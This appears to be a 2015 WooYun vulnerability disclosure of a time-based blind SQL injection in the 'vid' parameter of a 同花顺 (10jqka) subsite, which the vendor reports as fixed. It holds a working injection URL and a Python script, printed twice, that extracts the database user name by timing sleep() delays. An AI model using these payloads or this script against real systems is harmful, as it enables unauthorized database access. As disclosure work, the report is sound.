当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155413

漏洞标题:同花顺某分站SQL注入(附验证脚本)

相关厂商:同花顺

漏洞作者: Aug0st

提交时间:2015-11-24 09:40

修复时间:2015-11-24 14:58

公开时间:2015-11-24 14:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-24: 细节已通知厂商并且等待厂商处理中
2015-11-24: 厂商已经确认,细节仅向厂商公开
2015-11-24: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

rt

详细说明:

地址:http://school.10jqka.com.cn/question.php?op=new&vid=11111
vid 参数存在注入
http://school.10jqka.com.cn/question.php?op=new&vid=11111+and+(select(1)from(select(case+when(+ascii(mid(user()from(1)for(1)))=114+)then(sleep(5))else(0)end))v)
延迟5秒

28.png


import urllib2
import urllib
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
name = ""
''' http://school.10jqka.com.cn/question.php?op=new&vid=11111%20and%20(select(1)from(select(case%20when(%20ascii(mid(user()from(1)for(1)))=114%20)then(sleep(5))else(0)end))v)
'''

for i in range(1,15):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = "http://school.10jqka.com.cn/question.php?op=new&vid=11111+and+(select(1)from(select(case+when(+ascii(mid(user()from("+s1+")for(1)))="+s2+"+)then(sleep(3))else(0)end))v)"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=urllib2.urlopen(req,timeout=10)
if time.time() - start_time > 2.0:
name = name+p
print name+'........................'
except urllib2.URLError,e:
break
print 'user is %s' % name


29.png

漏洞证明:

地址:http://school.10jqka.com.cn/question.php?op=new&vid=11111
vid 参数存在注入
http://school.10jqka.com.cn/question.php?op=new&vid=11111+and+(select(1)from(select(case+when(+ascii(mid(user()from(1)for(1)))=114+)then(sleep(5))else(0)end))v)
延迟5秒

28.png


import urllib2
import urllib
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
name = ""
''' http://school.10jqka.com.cn/question.php?op=new&vid=11111%20and%20(select(1)from(select(case%20when(%20ascii(mid(user()from(1)for(1)))=114%20)then(sleep(5))else(0)end))v)
'''

for i in range(1,15):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = "http://school.10jqka.com.cn/question.php?op=new&vid=11111+and+(select(1)from(select(case+when(+ascii(mid(user()from("+s1+")for(1)))="+s2+"+)then(sleep(3))else(0)end))v)"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=urllib2.urlopen(req,timeout=10)
if time.time() - start_time > 2.0:
name = name+p
print name+'........................'
except urllib2.URLError,e:
break
print 'user is %s' % name


29.png

修复方案:

过滤

版权声明:转载请注明来源 Aug0st@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-24 14:57

厂商回复:

已确认漏洞,正在处理,谢谢。

最新状态:

2015-11-24:已修复,谢谢


漏洞评价:

评论

  1. 2015-11-24 22:04 | k0_pwn ( 路人 | Rank:2 漏洞数:2 | 专注二进制许多年,突然觉得web才好玩)

    洞主请问一下测这个漏洞的时候因为sqlmap跑不出来才自己写的验证脚本吗?

  2. 2015-11-25 02:27 | Aug0st ( 普通白帽子 | Rank:120 漏洞数:35 | 看你后面~)

    @k0_pwn 恩恩 是的